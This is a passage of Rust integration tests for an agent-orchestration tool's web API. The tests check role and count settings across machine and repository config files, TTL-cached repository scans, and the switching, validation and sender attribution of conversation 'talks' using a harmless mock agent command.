13520        let selected = root.join("host/owner/selected");
13521        settings_checkout(
13522            &selected,
13523            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13524        )
13525        .await;
13526        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13527        let before = std::fs::read(&machine).unwrap();
13528        let ui = Arc::new(
13529            Ui::new(
13530                Queue::at(tmp.path().join("queue")),
13531                Questions::at(tmp.path().join("questions")),
13532                Talks::at(tmp.path().join("talks")),
13533                tmp.path().join("runs"),
13534                tmp.path().to_path_buf(),
13535                repo.clone(),
13536            )
13537            .with_machine_config(Some(machine.clone())),
13538        );
13539        let query = || {
13540            Query(SettingsQuery {
13541                repo: Some(selected.clone()),
13542            })
13543        };
13544        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13545        assert!(v.error.is_none(), "{:?}", v.error);
13546        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13547        assert_eq!(conductor.source, "repo");
13548        assert_eq!(
13549            conductor.machine_value,
13550            Some(toml::Value::String("a".into()))
13551        );
13552        assert!(!conductor.editable);
13553        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13554        assert_eq!(
13555            judges.count.as_ref().unwrap().machine_value,
13556            Some(toml::Value::Integer(1))
13557        );
13558        assert!(
13559            !v.roles
13560                .iter()
13561                .find(|r| r.key == "reviewers")
13562                .unwrap()
13563                .editable
13564        );
13565        let unknown = || {
13566            Query(SettingsQuery {
13567                repo: Some(tmp.path().to_path_buf()),
13568            })
13569        };
13570        assert_eq!(
13571            settings_get(State(ui.clone()), unknown())
13572                .await
13573                .unwrap_err()
13574                .status,
13575            StatusCode::UNPROCESSABLE_ENTITY
13576        );
13577        let body = || {
13578            Ok(Json(RolesBody {
13579                revision: v.revision.clone(),
13580                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13581                counts: Default::default(),
13582            }))
13583        };
13584        assert_eq!(
13585            settings_put_roles(State(ui.clone()), unknown(), body())
13586                .await
13587                .unwrap_err()
13588                .status,
13589            StatusCode::UNPROCESSABLE_ENTITY
13590        );
13591        assert_eq!(std::fs::read(&machine).unwrap(), before);
13592        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13593            .await
13594            .unwrap();
13595        assert_eq!(
13596            saved.repo,
13597            selected.canonicalize().unwrap().display().to_string()
13598        );
13599        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13600        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13601        // A cache miss refreshes the stable candidate list exactly for validation.
13602        let fresh = root.join("host/owner/fresh");
13603        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13604        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13605            .await
13606            .unwrap();
13607        assert_eq!(fresh_view.repositories.len(), 3);
13608    }
13609
13610    #[tokio::test]
13611    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13612        let (tmp, repo, machine) = settings_dirs(
13613            "[roles]\nreviewers = [\"a\"]\n",
13614            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13615        );
13616        let root = tmp.path().join("roots");
13617        let selected = root.join("host/owner/selected");
13618        settings_checkout(
13619            &selected,
13620            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13621        )
13622        .await;
13623        let broken = root.join("host/owner/broken");
13624        settings_checkout(&broken, "[roles\nbroken").await;
13625        let machine_text = format!(
13626            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13627            toml::Value::String(root.display().to_string())
13628        );
13629        std::fs::write(&machine, &machine_text).unwrap();
13630        let originals: Vec<_> = [&repo, &selected, &broken]
13631            .iter()
13632            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13633            .collect();
13634        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13635        let default = f.get("/api/settings").await.json();
13636        assert_eq!(
13637            default["repo"],
13638            repo.canonicalize().unwrap().display().to_string()
13639        );
13640        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13641        let query = format!("?repo={}", selected.display());
13642        let res = f.get(&format!("/api/settings{query}")).await;
13643        assert_eq!(res.status, 200, "{}", res.body);
13644        let v = res.json();
13645        assert!(v["error"].is_null(), "{v}");
13646        assert_eq!(v["repositories"], default["repositories"]);
13647        let role = |key: &str| {
13648            v["roles"]
13649                .as_array()
13650                .unwrap()
13651                .iter()
13652                .find(|r| r["key"] == key)
13653                .unwrap()
13654        };
13655        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13656        assert_eq!(role("advisors")["source"], "repo");
13657        assert_eq!(role("advisors")["editable"], false);
13658        assert!(role("advisors")["machine_value"].is_null());
13659        assert_eq!(role("judges")["count"]["value"], 2);
13660        assert_eq!(role("judges")["count"]["machine_value"], 1);
13661        assert_eq!(role("judges")["count"]["source"], "repo");
13662        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13663        assert!(
13664            source.contains("origin/main") && !source.contains("magi/config/"),
13665            "{source}"
13666        );
13667        assert_eq!(
13668            role("reviewers")["editable"],
13669            false,
13670            "default context outside roots must protect its declarations"
13671        );
13672        let body =
13673            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13674        let unknown = format!("?repo={}", tmp.path().display());
13675        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13676        assert_eq!(
13677            f.put(&format!("/api/settings/roles{unknown}"), &body)
13678                .await
13679                .status,
13680            422
13681        );
13682        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13683        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13684            .to_string();
13685        assert_eq!(
13686            f.put(&format!("/api/settings/roles{query}"), &refuse)
13687                .await
13688                .status,
13689            422
13690        );
13691        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13692        assert_eq!(saved.status, 200, "{}", saved.body);
13693        assert_eq!(saved.json()["repo"], v["repo"]);
13694        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13695        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13696        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13697            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13698        }
13699        let error = f
13700            .get(&format!("/api/settings?repo={}", broken.display()))
13701            .await;
13702        assert_eq!(error.status, 200);
13703        assert!(error.json()["error"]["message"].is_string());
13704        assert_eq!(error.json()["repositories"], default["repositories"]);
13705    }
13706
13707    #[tokio::test]
13708    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13709        let (_tmp, repo, machine) =
13710            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13711        let f = Fixture::with_repo_and_machine(repo, machine).await;
13712        let res = f.get("/api/settings").await;
13713        assert_eq!(res.status, 200, "{}", res.body);
13714        let v = res.json();
13715        assert!(v["error"].is_null(), "{v}");
13716        let role = |k: &str| {
13717            v["roles"]
13718                .as_array()
13719                .and_then(|r| r.iter().find(|x| x["key"] == k))
13720                .cloned()
13721                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13722        };
13723        assert_eq!(role("judges")["source"], "machine");
13724        assert_eq!(role("judges")["editable"], true);
13725        assert_eq!(role("implementers")["source"], "default");
13726        let adv = role("advisors");
13727        assert_eq!(adv["fallback"], "judges");
13728        assert!(
13729            adv["seats"]
13730                .as_array()
13731                .is_some_and(|s| s.iter().all(|x| x == "b")),
13732            "{adv}"
13733        );
13734        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13735        assert_eq!(v["agents"][0]["source"], "repo");
13736    }
13737
13738    #[tokio::test]
13739    async fn settings_get_reports_a_config_that_does_not_parse() {
13740        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13741        let f = Fixture::with_repo_and_machine(repo, machine).await;
13742        let res = f.get("/api/settings").await;
13743        assert_eq!(res.status, 200, "{}", res.body);
13744        let v = res.json();
13745        assert!(v["error"]["message"].is_string(), "{v}");
13746        assert!(
13747            v["error"]["path"]
13748                .as_str()
13749                .is_some_and(|p| p.ends_with("magi.toml")),
13750            "{v}"
13751        );
13752        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13753    }
13754
13755    #[tokio::test]
13756    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13757        let (_tmp, repo, machine) = settings_dirs(
13758            SETTINGS_AGENTS,
13759            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13760        );
13761        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13762        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13763        let rev = f.get("/api/settings").await.json()["revision"]
13764            .as_str()
13765            .expect("revision")
13766            .to_owned();
13767        let body = serde_json::json!({
13768            "revision": rev,
13769            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13770        })
13771        .to_string();
13772        let res = f.put("/api/settings/roles", &body).await;
13773        assert_eq!(res.status, 200, "{}", res.body);
13774        let text = std::fs::read_to_string(&machine).expect("machine");
13775        assert_eq!(
13776            text,
13777            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13778        );
13779        assert_eq!(
13780            std::fs::read(repo.join("magi.toml")).expect("read"),
13781            repo_before
13782        );
13783        let again = f.get("/api/settings").await.json();
13784        let judges = again["roles"]
13785            .as_array()
13786            .expect("roles")
13787            .iter()
13788            .find(|r| r["key"] == "judges")
13789            .expect("judges")
13790            .clone();
13791        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13792        // The old revision is now stale.
13793        let stale = f.put("/api/settings/roles", &body).await;
13794        assert_eq!(stale.status, 409, "{}", stale.body);
13795    }
13796
13797    #[tokio::test]
13798    async fn settings_counts_are_reported_and_saved() {
13799        let (_tmp, repo, machine) = settings_dirs(
13800            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13801            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13802        );
13803        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13804        let v = f.get("/api/settings").await.json();
13805        let count = |v: &serde_json::Value, k: &str| {
13806            v["roles"]
13807                .as_array()
13808                .and_then(|r| r.iter().find(|x| x["key"] == k))
13809                .map(|x| x["count"].clone())
13810                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13811        };
13812        let imp = count(&v, "implementers");
13813        assert_eq!(imp["value"], 2);
13814        assert_eq!(imp["source"], "machine");
13815        assert_eq!(imp["file_key"], "candidates");
13816        assert_eq!(imp["roster_len"], 2);
13817        assert_eq!(imp["backups"], 0);
13818        assert_eq!(count(&v, "judges")["source"], "default");
13819        assert_eq!(count(&v, "advisors")["min"], 0);
13820        assert_eq!(count(&v, "reviewers")["editable"], false);
13821        assert!(
13822            count(&v, "reviewers")["locked_reason"]
13823                .as_str()
13824                .is_some_and(|m| m.contains("graph.reviewers"))
13825        );
13826        assert!(count(&v, "fixer").is_null());
13827        let rev = v["revision"].as_str().expect("revision").to_owned();
13828        let body = serde_json::json!({
13829            "revision": rev,
13830            "roles": { "judges": ["b"] },
13831            "counts": { "implementers": 1, "advisors": 0 }
13832        })
13833        .to_string();
13834        let res = f.put("/api/settings/roles", &body).await;
13835        assert_eq!(res.status, 200, "{}", res.body);
13836        let text = std::fs::read_to_string(&machine).expect("machine");
13837        assert_eq!(
13838            text,
13839            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13840        );
13841        let after = f.get("/api/settings").await.json();
13842        assert_eq!(count(&after, "implementers")["value"], 1);
13843        assert_eq!(count(&after, "implementers")["backups"], 1);
13844        assert_eq!(count(&after, "advisors")["value"], 0);
13845        let before = std::fs::read_to_string(&machine).expect("machine");
13846        let rev = after["revision"].as_str().expect("revision").to_owned();
13847        for counts in [
13848            serde_json::json!({ "judges": 0 }),
13849            serde_json::json!({ "judges": "x" }),
13850            serde_json::json!({ "judges": 2.5 }),
13851            serde_json::json!({ "judges": -1 }),
13852            serde_json::json!({ "reviewers": 3 }),
13853            serde_json::json!({ "bogus": 3 }),
13854        ] {
13855            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13856            let res = f.put("/api/settings/roles", &body).await;
13857            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13858            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13859        }
13860    }
13861
13862    #[tokio::test]
13863    async fn settings_put_refuses_without_touching_the_file() {
13864        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13865        let (_tmp, repo, machine) = settings_dirs(
13866            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13867            Some(machine_text),
13868        );
13869        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13870        let rev = f.get("/api/settings").await.json()["revision"]
13871            .as_str()
13872            .expect("revision")
13873            .to_owned();
13874        for roles in [
13875            serde_json::json!({ "judges": ["nope"] }),
13876            serde_json::json!({ "reviewers": ["b"] }),
13877            serde_json::json!({ "bogus": ["a"] }),
13878        ] {
13879            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13880            let res = f.put("/api/settings/roles", &body).await;
13881            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13882            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13883            assert_eq!(
13884                std::fs::read_to_string(&machine).expect("machine"),
13885                machine_text
13886            );
13887        }
13888    }
13889
13890    #[tokio::test]
13891    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13892        let tmp = TempDir::new().expect("tempdir");
13893        let repo = tmp.path().join("repo");
13894        std::fs::create_dir_all(&repo).expect("repo dir");
13895        let root = tmp.path().join("root");
13896        make_checkout(&root, "github.com", "yukimemi", "magi");
13897        std::fs::write(
13898            repo.join("magi.toml"),
13899            format!(
13900                "[repos]\nroots = [{:?}]\n",
13901                root.to_string_lossy().into_owned()
13902            ),
13903        )
13904        .expect("write magi.toml");
13905
13906        let f = Fixture::with_repo(repo).await;
13907        let res = f.get("/api/repos").await;
13908        assert_eq!(res.status, 200, "{}", res.body);
13909        let list = res.json();
13910        let repos = list.as_array().expect("an array");
13911        assert_eq!(repos.len(), 1);
13912        assert_eq!(repos[0]["name"], "yukimemi/magi");
13913        assert!(
13914            repos[0]["path"]
13915                .as_str()
13916                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13917            "{list}"
13918        );
13919    }
13920
13921    #[tokio::test]
13922    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13923        let tmp = TempDir::new().expect("tempdir");
13924        let repo = tmp.path().join("repo");
13925        std::fs::create_dir_all(&repo).expect("repo dir");
13926        let root = tmp.path().join("root");
13927        make_checkout(&root, "github.com", "yukimemi", "magi");
13928        std::fs::write(
13929            repo.join("magi.toml"),
13930            format!(
13931                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13932                root.to_string_lossy().into_owned()
13933            ),
13934        )
13935        .expect("write magi.toml");
13936
13937        let f = Fixture::with_repo(repo).await;
13938        let first = f.get("/api/repos").await;
13939        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13940
13941        // A second checkout appears; within the TTL the cached answer must
13942        // not notice it.
13943        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13944        let second = f.get("/api/repos").await;
13945        assert_eq!(
13946            second.json().as_array().map(Vec::len),
13947            Some(1),
13948            "a fresh cache must not rescan inside the TTL"
13949        );
13950
13951        let refreshed = f.get("/api/repos?refresh=1").await;
13952        assert_eq!(
13953            refreshed.json().as_array().map(Vec::len),
13954            Some(2),
13955            "an explicit refresh must rescan even inside the TTL"
13956        );
13957    }
13958
13959    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13960    /// string, declared straight in a repository's own `magi.toml` rather
13961    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13962    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13963    /// this is safe to run over a real HTTP round trip.
13964    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13965
13966    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13967    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13968    /// even though it takes no turn, and `talk_say` invokes one.
13969    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13970        let tmp = TempDir::new().expect("tempdir");
13971        let repo = tmp.path().join("repo");
13972        std::fs::create_dir_all(&repo).expect("repo dir");
13973        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13974        let f = Fixture::with_repo(repo.clone()).await;
13975        (tmp, repo, f)
13976    }
13977
13978    #[tokio::test]
13979    async fn posting_a_talk_with_remembered_choices_is_soft() {
13980        let (_tmp, _repo, f) = talk_fixture().await;
13981
13982        let good = f
13983            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13984            .await;
13985        assert_eq!(good.status, 201, "{}", good.body);
13986        assert_eq!(good.json()["persona"], "rei");
13987
13988        // Wrong values and wrong types are dropped one by one, never a 4xx.
13989        let stale = f
13990            .post(
13991                "/api/talks",
13992                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13993            )
13994            .await;
13995        assert_eq!(stale.status, 201, "{}", stale.body);
13996        let v = stale.json();
13997        assert_eq!(v["implementers"], 1);
13998        assert_ne!(v["persona"], "nobody");
13999        let typed = f
14000            .post(
14001                "/api/talks",
14002                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14003            )
14004            .await;
14005        assert_eq!(typed.status, 201, "{}", typed.body);
14006
14007        // The strict `agent` field still refuses an unknown id.
14008        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14009        assert!(
14010            !strict.status.to_string().starts_with('2'),
14011            "{}",
14012            strict.body
14013        );
14014    }
14015
14016    #[tokio::test]
14017    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14018        let (_tmp, _repo, f) = talk_fixture().await;
14019
14020        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14021        // is the ordinary way a phone opens a talk.
14022        let opened = f.post("/api/talks", None).await;
14023        assert_eq!(opened.status, 201, "{}", opened.body);
14024        let body = opened.json();
14025        assert_eq!(body["status"], "open");
14026        assert_eq!(
14027            body["turns"].as_array().unwrap().len(),
14028            0,
14029            "opening takes no agent turn: there is nothing yet to answer"
14030        );
14031
14032        // An explicit empty object is the same request as none at all.
14033        let also_opened = f.post("/api/talks", Some("{}")).await;
14034        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14035
14036        let listed = f.get("/api/talks").await.json();
14037        assert_eq!(listed.as_array().unwrap().len(), 2);
14038    }
14039
14040    #[tokio::test]
14041    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14042        let tmp = TempDir::new().expect("tempdir");
14043        let repo = tmp.path().join("repo");
14044        std::fs::create_dir_all(&repo).expect("repo dir");
14045        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14046        std::fs::write(
14047            repo.join("magi.toml"),
14048            format!("{MOCK_AGENT_TOML}\n{second}"),
14049        )
14050        .expect("write magi.toml");
14051        let home = TempDir::new().expect("temp home");
14052        let talks = Talks::at(home.path().join("talks"));
14053        let ui = Arc::new(
14054            Ui::new(
14055                Queue::at(home.path().join("queue")),
14056                Questions::at(home.path().join("questions")),
14057                talks.clone(),
14058                home.path().join("runs"),
14059                home.path().to_path_buf(),
14060                repo.clone(),
14061            )
14062            .with_worktrees_root(home.path().join("wt")),
14063        );
14064        let cfg = config_for(&repo).await.expect("discover config");
14065        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14066        let id = talk.id.clone();
14067        let call = |agent: &str| {
14068            talk_agent(
14069                State(Arc::clone(&ui)),
14070                Path(id.clone()),
14071                Json(TalkAgent {
14072                    agent: agent.to_owned(),
14073                }),
14074            )
14075        };
14076
14077        let unknown = call("nobody").await.expect_err("unknown agent");
14078        assert_eq!(
14079            unknown.status,
14080            StatusCode::BAD_REQUEST,
14081            "{}",
14082            unknown.message
14083        );
14084
14085        {
14086            // Nothing refused so far took a claim, so the guard is free to take
14087            // and holding it is what makes the talk busy.
14088            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14089            let busy = call("second").await.expect_err("busy talk");
14090            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14091            assert!(
14092                busy.message.contains("a talk turn is running"),
14093                "{}",
14094                busy.message
14095            );
14096            drop(guard);
14097        }
14098        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14099
14100        let Json(view) = call("second").await.expect("switch");
14101        assert_eq!(view.talk.agent, "second");
14102        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14103        let saved = talks.get(&id).expect("reload");
14104        assert_eq!(saved.agent, "second");
14105        assert_eq!(saved.turns.len(), 1);
14106        assert!(!view.thinking);
14107        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14108        for agent in ["mock", "second"] {
14109            let Json(view) = call(agent).await.expect("immediate consecutive change");
14110            assert_eq!(view.talk.agent, agent);
14111            assert!(!view.thinking);
14112            assert!(!ui.is_thinking(&id));
14113        }
14114
14115        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14116            .await
14117            .expect("detail");
14118        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14119        assert_eq!(roster, ["mock", "second"]);
14120
14121        let mut closed = talks.get(&id).expect("reload");
14122        talk::close(&mut closed, &talks).expect("close");
14123        let refused = call("mock").await.expect_err("closed talk");
14124        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14125        assert!(
14126            refused.message.contains("takes no more turns"),
14127            "{}",
14128            refused.message
14129        );
14130    }
14131
14132    #[tokio::test]
14133    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14134        let tmp = TempDir::new().expect("tempdir");
14135        let repo = tmp.path().join("repo");
14136        std::fs::create_dir_all(&repo).expect("repo dir");
14137        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14138        let home = TempDir::new().expect("temp home");
14139        let talks = Talks::at(home.path().join("talks"));
14140        let ui = Arc::new(
14141            Ui::new(
14142                Queue::at(home.path().join("queue")),
14143                Questions::at(home.path().join("questions")),
14144                talks.clone(),
14145                home.path().join("runs"),
14146                home.path().to_path_buf(),
14147                repo.clone(),
14148            )
14149            .with_worktrees_root(home.path().join("wt")),
14150        );
14151        let cfg = config_for(&repo).await.expect("discover config");
14152        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14153        let id = talk.id.clone();
14154        let call = |n: u8| {
14155            talk_implementers(
14156                State(Arc::clone(&ui)),
14157                Path(id.clone()),
14158                Json(TalkImplementers { implementers: n }),
14159            )
14160        };
14161
14162        for bad in [0u8, 4] {
14163            let e = call(bad).await.expect_err("out of range");
14164            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14165        }
14166        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14167
14168        {
14169            // Nothing refused so far took a claim, so the guard is free to take
14170            // and holding it is what makes the talk busy.
14171            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14172            let busy = call(2).await.expect_err("busy talk");
14173            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14174            assert!(
14175                busy.message.contains("a talk turn is running"),
14176                "{}",
14177                busy.message
14178            );
14179            drop(guard);
14180        }
14181
14182        let Json(view) = call(3).await.expect("switch");
14183        assert_eq!(view.talk.implementers, 3);
14184        assert!(talks.get(&id).expect("reload").implementers_dirty);
14185        assert!(!view.thinking);
14186        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14187        for n in [1, 2, 3] {
14188            let Json(view) = call(n).await.expect("immediate consecutive change");
14189            assert_eq!(view.talk.implementers, n);
14190            assert!(!view.thinking);
14191            assert!(!ui.is_thinking(&id));
14192        }
14193
14194        let mut closed = talks.get(&id).expect("reload");
14195        talk::close(&mut closed, &talks).expect("close");
14196        let e = call(2).await.expect_err("closed talk");
14197        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14198        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14199    }
14200
14201    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14202    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14203        let tmp = TempDir::new().expect("tempdir");
14204        let repo = tmp.path().join("repo");
14205        std::fs::create_dir_all(&repo).expect("repo dir");
14206        std::fs::write(
14207            repo.join("magi.toml"),
14208            format!("{MOCK_AGENT_TOML}\n{extra}"),
14209        )
14210        .expect("write magi.toml");
14211        let home = TempDir::new().expect("temp home");
14212        let talks = Talks::at(home.path().join("talks"));
14213        let ui = Arc::new(
14214            Ui::new(
14215                Queue::at(home.path().join("queue")),
14216                Questions::at(home.path().join("questions")),
14217                talks.clone(),
14218                home.path().join("runs"),
14219                home.path().to_path_buf(),
14220                repo.clone(),
14221            )
14222            .with_worktrees_root(home.path().join("wt")),
14223        );
14224        let cfg = config_for(&repo).await.expect("discover config");
14225        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14226        (tmp, home, ui, talk.id, repo)
14227    }
14228
14229    #[tokio::test]
14230    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14231        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14232        let mut conversation = ui.talks.get(&id).unwrap();
14233        talk::record(
14234            &mut conversation,
14235            &ui.talks,
14236            "# Update on a task you filed\noperator words",
14237            vec![],
14238        )
14239        .unwrap();
14240        // Simulate an old operator record; headings do not prove authorship.
14241        conversation.turns[0].sender = None;
14242        conversation.turns[0].messages.clear();
14243        ui.talks.put(&mut conversation).unwrap();
14244        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14245        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14246        talk::drain(&mut conversation, &ui.talks).unwrap();
14247        talk::record_reply(
14248            &mut conversation,
14249            &ui.talks,
14250            "about that report",
14251            vec![],
14252            Some(talk::ReplyTarget {
14253                turn: 1,
14254                message: 1,
14255            }),
14256        )
14257        .unwrap();
14258        conversation.turns[2].messages[0]
14259            .reply
14260            .as_mut()
14261            .unwrap()
14262            .sender = None;
14263        conversation.turns.push(talk::Turn {
14264            sender: Some(talk::Sender::Persona),
14265            who: talk::Who::Agent,
14266            body: "magi: actual persona words".into(),
14267            at: Timestamp::now(),
14268            attachments: vec![],
14269            usage: None,
14270            breaks: None,
14271            messages: vec![],
14272            posted_by: None,
14273        });
14274        ui.talks.put(&mut conversation).unwrap();
14275        let view = TalkView::with_config(
14276            ui.talks.get(&id).unwrap(),
14277            false,
14278            None,
14279            &ui.home,
14280            &ui.references,
14281        );
14282        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14283        assert_eq!(
14284            view.talk.turns[1].messages[0].sender,
14285            Some(talk::Sender::Operator)
14286        );
14287        assert_eq!(
14288            view.talk.turns[1].messages[1].sender,
14289            Some(talk::Sender::Magi)
14290        );
14291        assert_eq!(
14292            view.talk.turns[2].messages[0]
14293                .reply
14294                .as_ref()
14295                .unwrap()
14296                .sender,
14297            Some(talk::Sender::Magi)
14298        );
14299        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14300        assert_eq!(view.turn_messages_md[0].len(), 1);
14301        assert!(view.turn_messages_md[0][0].is_none());
14302        assert!(view.turn_messages_md[1][0].is_none());
14303        assert!(view.turn_messages_md[1][1].is_some());
14304    }
14305
14306    #[tokio::test]
14307    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14308        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14309        let mut conversation = ui.talks.get(&id).unwrap();
14310        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14311        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14312        talk::queue_notice(
14313            &mut conversation,
14314            &ui.talks,
14315            &body,
14316            "watch:123",
14317            &|_| false,
14318            None,
14319            display.clone(),
14320        )
14321        .unwrap();
14322        assert!(
14323            !talk::queue_notice(
14324                &mut conversation,
14325                &ui.talks,
14326                &body,
14327                "watch:123",
14328                &|_| false,
14329                None,
14330                display.clone()
14331            )
14332            .unwrap()
14333        );
14334        let saved = ui.talks.get(&id).unwrap();
14335        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14336        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14337        assert!(
14338            view.talk.turns[0].messages[0].display.is_none(),
14339            "operator copy stays literal"
14340        );
14341        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14342        assert!(view.turn_messages_md[0][0].is_none());
14343        let queued_md = view.pending_messages_md[0].clone();
14344        assert_eq!(
14345            queued_md,
14346            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14347        );
14348        talk::drain(&mut conversation, &ui.talks).unwrap();
14349        talk::record_reply(
14350            &mut conversation,
14351            &ui.talks,
14352            "Explain",
14353            vec![],
14354            Some(talk::ReplyTarget {
14355                turn: 1,
14356                message: 0,
14357            }),
14358        )
14359        .unwrap();
14360        let mut saved = ui.talks.get(&id).unwrap();
14361        assert_eq!(saved.turns[1].messages[0].body, body);
